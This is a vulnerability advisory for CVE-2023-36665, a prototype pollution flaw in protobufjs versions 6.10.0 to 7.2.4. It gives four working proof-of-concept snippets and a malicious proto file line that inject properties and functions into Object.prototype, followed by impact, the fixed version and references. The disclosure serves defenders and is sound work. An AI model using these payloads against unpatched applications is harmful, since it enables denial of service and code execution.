We have found a new Prototype Pollution vulnerability in protobufjs (CVE-2023-36665). The maintainer of protobufjs has issued an update that fixed the issue on 27 June 2023. The vulnerability was discovered by Peter Samarin using Jazzer.js with our newly integrated Prototype Pollution bug detector. This finding emerged in part from our collaboration with Google's OSS-Fuzz and puts affected applications at risk of remote code execution and denial of service attacks.
Vulnerability Description
1. Using the parse function
const protobuf = require("protobufjs");
protobuf.parse('option(a).constructor.prototype.verified = true;');
console.log({}.verified);
// returns true
2. Using the setParsedOption function of a ReflectionObject
const protobuf = require("protobufjs");
function gadgetFunction(){
console.log("User is authenticated");
}
// This will fail, but also pollute the prototype of Object
try {
let obj = new protobuf.ReflectionObject("Test");
obj.setParsedOption("unimportant!", gadgetFunction, "constructor.prototype.testFn");
} catch (e) {}
// Now we can make use of the new function on the polluted prototype
const a = {};
a.testFn();
// Prints "User is authenticated" to the console.
3. Using the function util.setProperty
const protobuf = require("protobufjs");
protobuf.util.setProperty({}, "constructor.prototype.verified", true);
console.log({}.verified);
// returns true
4. Using the functions load / loadSync function to load the file "poc.proto":
const protobuf = require("protobufjs");
protobuf.loadSync("poc.proto");
console.log({}.verified);
// returns true
With the proto.poc file containing the following line:
option(foo).constructor.prototype.verified = true;
Impact and Risks
A user-controlled protobuf message can be used by the attacker to pollute the prototype of the Object.prototype by adding and overwriting its data and functions. These data and functions will be available in all objects created henceforth.
Successful attacks using this vulnerability can result in the following:
- A denial of service attack (DoS) by overriding some built-in functions (e.g. toString).
- Code execution is possible when unsanitized user input is provided to the functions util.setProperty and ReflectionObject.setParsedOption.
Mitigation and Remediation
The maintainers have already released an update fixing the issue. Versions from 6.10.0 to 7.2.4 are affected and thus vulnerable to Prototype Pollution. We strongly recommend that impacted users upgrade to the newer version that includes the fixes, i.e., version 7.2.4 and above.
Prototype Pollution Attacks
Prototype pollution vulnerabilities in JavaScript typically involve user-supplied data that is not properly validated or sanitized. By carefully crafting input that influences object creation or manipulation, an attacker can modify the prototype chain and introduce malicious properties or methods. This manipulation can occur in third-party libraries, frameworks, or even custom code.
References
- More info: https://nvd.nist.gov/vuln/detail/CVE-2023-36665
- Release: https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.2.4
- Commit with fix: https://github.com/protobufjs/protobuf.js/pull/1899
Acknowledgments
We thank Alexander Fenster for responding to the issue and providing a quick fix and a new release.